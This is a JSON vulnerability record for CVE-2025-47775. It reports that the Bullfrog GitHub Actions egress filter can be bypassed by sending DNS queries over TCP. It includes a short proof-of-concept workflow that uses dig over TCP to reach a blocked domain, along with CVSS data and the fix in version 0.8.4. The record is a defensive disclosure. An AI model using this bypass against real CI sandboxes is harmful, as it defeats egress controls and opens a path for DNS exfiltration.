{"id":"CVE-2025-47775","aliases":["GHSA-m32f-fjw2-37v3"],"url":"https://o3.security/vulnerability/CVE-2025-47775","summary":"Bullfrog's DNS over TCP bypasses domain filtering","details":"### Summary\n\nUsing tcp breaks blocking and allows DNS exfiltration. \n\n### PoC\n\n```\nname: test\non:\n  push:\n    branches:\n      - \"*\"\n\njobs:\n  testBullFrog:\n    runs-on: ubuntu-22.04\n    steps:\n      - name: Use google dns\n        run: |\n          sudo resolvectl dns eth0 1.1.1.1\n          resolvectl status\n      - name: Set up bullfrog to block everything\n        uses: bullfrogsec/bullfrog@1472c28724ef13ea0adc54d0a42c2853d42786b1 # v0.8.2\n        with:\n           egress-policy: block\n           allowed-domains: |\n             *.github.com\n      - name: Test connectivity\n        run: |\n          echo testing udp allowed ..\n          dig api.github.com @1.1.1.1 || :\n          echo testing tcp allowed ..\n          dig api.github.com @1.1.1.1 +tcp || :\n\n          echo testing udp not allowed\n          dig api.google.com @1.1.1.1 || :\n          echo testing tcp not allowed\n          dig api.google.com @1.1.1.1 +tcp || :\n```\n\n### Impact\n\nsandbox bypass\n\n![image](https://github.com/user-attachments/assets/fba18a17-2d49-48cd-9aae-713e95b5270d)","published":"2025-05-14T15:18:37.058Z","modified":"2026-10-28T02:30:52.998315090Z","cvss":{"score":6.2,"severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"GitHub Actions","name":"bullfrogsec/bullfrog","fixedVersion":"0.8.4"}],"fix":{"url":"https://github.com/bullfrogsec/bullfrog/commit/ae7744ae4b3a6f8ffc2e49f501e30bf1a43d4671","label":"bullfrogsec/bullfrog@ae7744a"},"references":[{"type":"WEB","url":"https://github.com/bullfrogsec/bullfrog/releases/tag/v0.8.4"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/47xxx/CVE-2025-47775.json"},{"type":"ADVISORY","url":"https://github.com/bullfrogsec/bullfrog/security/advisories/GHSA-m32f-fjw2-37v3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-47775"},{"type":"FIX","url":"https://github.com/bullfrogsec/bullfrog/commit/ae7744ae4b3a6f8ffc2e49f501e30bf1a43d4671"},{"type":"PACKAGE","url":"https://github.com/bullfrogsec/bullfrog"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-10-28T02:30:52.998315090Z"}}